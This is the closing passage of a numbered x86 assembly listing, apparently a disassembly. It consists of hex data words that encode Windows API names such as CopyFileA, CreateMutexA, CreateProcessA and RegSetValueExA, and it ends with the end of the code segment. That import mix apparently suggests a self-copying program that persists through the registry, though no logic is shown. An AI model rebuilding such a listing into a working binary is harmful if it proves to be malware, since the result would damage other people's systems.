  10757.         dd 45747361h, 726F7272h, 72430000h, 65746165h, 6574754Dh
  10758.         dd 4178h, 79706F43h, 656C6946h,    41h, 656C6544h,    69466574h
  10759.         dd 41656Ch, 65530000h, 6C694674h, 74744165h, 75626972h
  10760.         dd 41736574h, 65470000h, 646F4D74h, 46656C75h, 4E656C69h
  10761.         dd 41656D61h, 79530000h, 6D657473h, 656D6954h, 69466F54h
  10762.         dd 6954656Ch, 656Dh, 53746547h,    65747379h, 6D69546Dh, 46734165h
  10763.         dd 54656C69h, 656D69h, 6C530000h, 706565h, 78450000h, 68547469h
  10764.         dd 64616572h, 61570000h, 6F467469h, 6E695372h, 4F656C67h
  10765.         dd 63656A62h, 74h, 61657243h, 72506574h, 7365636Fh, 4173h
  10766.         dd 61657243h, 68546574h, 64616572h, 65470000h, 63695474h
  10767.         dd 756F436Bh, 746Eh, 74697845h,    636F7250h, 737365h, 65470000h
  10768.         dd 6D695474h, 6E6F5A65h, 666E4965h, 616D726Fh, 6E6F6974h
  10769.         dd 614D0000h, 65695670h, 46664F77h, 656C69h, 69460000h
  10770.         dd 6954656Ch, 6F54656Dh, 61636F4Ch, 6C69466Ch, 6D695465h
  10771.         dd 65h,    4C746547h, 6C61636Fh, 656D6954h, 69570000h, 68436564h
  10772.         dd 6F547261h, 746C754Dh, 74794269h, 65h, 50746547h, 41636F72h
  10773.         dd 65726464h, 7373h, 4D746547h,    6C75646Fh, 6E614865h, 41656C64h
  10774.         dd 65480000h, 72467061h, 6565h,    50746547h, 65636F72h, 65487373h
  10775.         dd 7061h, 70616548h, 6F6C6C41h,    63h, 7274736Ch,    6E797063h
  10776.         dd 41h,    7274736Ch, 41706D63h, 736C0000h, 6D637274h, 416970h
  10777.         dd 6C470000h, 6C61626Fh, 65657246h, 6E490000h, 6C726574h
  10778.         dd 656B636Fh, 63654464h, 656D6572h, 746Eh, 65746E49h, 636F6C72h
  10779.         dd 4964656Bh, 6572636Eh, 746E656Dh, 65520000h, 69466461h
  10780.         dd 656Ch, 616D6E55h, 65695670h,    46664F77h, 656C69h, 65530000h
  10781.         dd 72685474h, 50646165h, 726F6972h, 797469h, 65520000h
  10782.         dd 6F6C4367h, 654B6573h, 79h, 4F676552h, 4B6E6570h, 78457965h
  10783.         dd 41h,    53676552h, 61567465h, 4565756Ch, 4178h,    51676552h
  10784.         dd 79726575h, 756C6156h, 41784565h, 65520000h, 756E4567h
  10785.         dd 79654B6Dh, 41h, 43676552h, 74616572h, 79654B65h, 417845h
  10786.         dd 656D0000h, 7465736Dh, 6F740000h, 65776F6Ch, 72h, 636D656Dh
  10787.         dd 7970h, 69647369h, 746967h, 6F740000h, 65707075h, 72h
  10788.         dd 64787369h, 74696769h, 73690000h, 756E6C61h, 6Dh, 70737369h
  10789.         dd 656361h, 68430000h, 70557261h, 42726570h, 41666675h
  10790.         dd 68430000h, 70557261h, 41726570h, 68430000h, 6F4C7261h
  10791.         dd 41726577h, 76770000h, 69727073h, 4166746Eh, 73770000h
  10792.         dd 6E697270h, 416674h, 56h dup(0)
  10793. _text        ends
  10794.  
  10795.  
  10796.         end start
  10797.